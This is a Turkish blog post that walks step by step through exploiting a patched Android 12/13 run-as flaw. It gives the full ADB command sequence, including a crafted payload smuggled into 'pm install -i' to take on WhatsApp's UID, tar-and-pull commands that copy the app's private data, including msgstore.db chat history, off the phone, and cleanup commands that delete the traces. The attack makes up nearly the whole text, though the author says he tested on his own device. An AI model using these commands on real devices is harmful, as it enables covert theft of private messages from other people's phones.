alicangonullu tarafından 2024-06-19 19:29:51 tarihinde yazıldı. Tahmini okunma süresi 3 dakika, 17 saniye. 548 kere görüntülendi.
Disclaimer
Merhabalar,
11 Mart 2024 tarihinde Android tarafından tespit edilen zafiyetin Proof of Concept (PoC) makalesi Mobile Hacker tarafından yayınlandı.
Zafiyet yayınlanıp Android 13'ün yeni güncellemesiyle giderildikten sonra ben de bu konu hakkında bir blog yazmaya karar verdim. Şimdiden iyi okumalar dilerim.
Öncelikle zafiyetin Android 13 ve alt sürümleri için geçerli olduğunu belirtmek isterim. Laboratuvar ortamında bir Android 12 cihazla (cihaz bana ait) denediğimi belirtmek isterim. Ayrıca zafiyetin uygulanması için fiziksel olarak cihaza erişmeniz gerekmektedir. Yani cihazın parolasını bilmeniz veya cihazın geliştirici seçeneklerinden USB Debug modun açık olması gerekmektedir.
Bu şartları karşıladıktan sonra Google tarafından yayınlanmış Android SDK Platform (ADB) dosyalarını buradan (Windows için) indirmeniz gerekmektedir. İndirdikten sonra bilgisayarınıza cihazı bağlayıp CMD ile dizine gitmeniz ve "adb devices" komutuyla cihaza bağlantı kurmanız gerekmektedir.
Komutu girdiğinizde cihazın bilgilerini göreceksiniz. Ardından bu linkten F-Droid APK dosyasını bilgisayarınıza indirip ADB.exe'nin bulunduğu dizine "demo.apk" adıyla kaydetmeniz gerekmektedir. Herhangi bir APK dosyası olabilir. Bu olmak zorunda değil fakat test olarak rastgele bir APK dosyasını ben kullandım.
Ardından CMD penceresine geri dönüyoruz ve "adb push demo.apk /data/local/tmp/" komutuyla APK dosyasını cihazın içerisine aktarıyoruz.
Aktarım tamamlandıktan sonra "adb shell" komutuyla telefonun bash / su kabuğuna bağlanıyoruz.
Bağlantı başarıyla sağlandıktan sonra "pm list packages -U|grep com.wha" komutuyla WhatsApp uygulamasının PID numarasını alıyoruz zira ona göre yazılımı üzerine yazacağız.
Bu PID ben de "10250" geldiği için aşağıdaki komutumu 10250 koduyla güncelliyorum
PAYLOAD="@null
victim 10250 1 /data/user/0 default:targetSdkVersion=28 none 0 0 1 @null"
Ardından bu kodla APK dosyasını yüklemek için şu komutu giriyorum
pm install -i "$PAYLOAD" /data/local/tmp/demo.apk
Şu an exploitation işlemini tamamladık. Artık 10250 ID adresine sahip uygulamadan herhangi bir veriyi alabiliriz zira o uygulamanın yetkilerine sahibiz.
Yetkili olarak oturum açıp uygulamaya ait verileri alıyoruz
mkdir /data/local/tmp/wa/
touch /data/local/tmp/wa/wa.tar
run-as victim
tar -cf /data/local/tmp/wa/wa.tar com.whatsapp
exit
exit
Tüm bu işlemler sırasında Permission Denied hatası alırsanız bu uygulamayı Windows cihazınıza indirebilirsiniz ve manuel olarak "wa" klasörünü oluşturabilirsiniz.
İşlemler tamamlandıktan sonra WhatsApp konuşmalarını içeren veriyi kendi bilgisayarımıza aktarıyoruz. Aktarım için şu komutu kullanıyoruz
adb pull /data/local/tmp/wa/wa.tar
Aktarım tamamlandıktan sonra artık gerekli olmayan dosya, aplikasyon ve diğer bilgileri siliyoruz
adb shell rm -rf /data/local/tmp/demo.apk
adb shell rm -rf /data/local/tmp/wa
adb uninstall org.fdroid.fdroid
Şimdi telefonla işimiz tamamen bitti. Artık veriler bilgisayarda olduğu için TAR dosyasını çıkartıyoruz ve "wa\com.whatsapp\databases" konumuna gidiyoruz. Aynı konumda "msgstore.db" dosyasının içeriğini açıyoruz.
NOT : EĞER VERİLER ŞİFRELİ BİR ŞEKİLDE GELİYORSA BU UYGULAMAYI KULLANABİLİRSİNİZ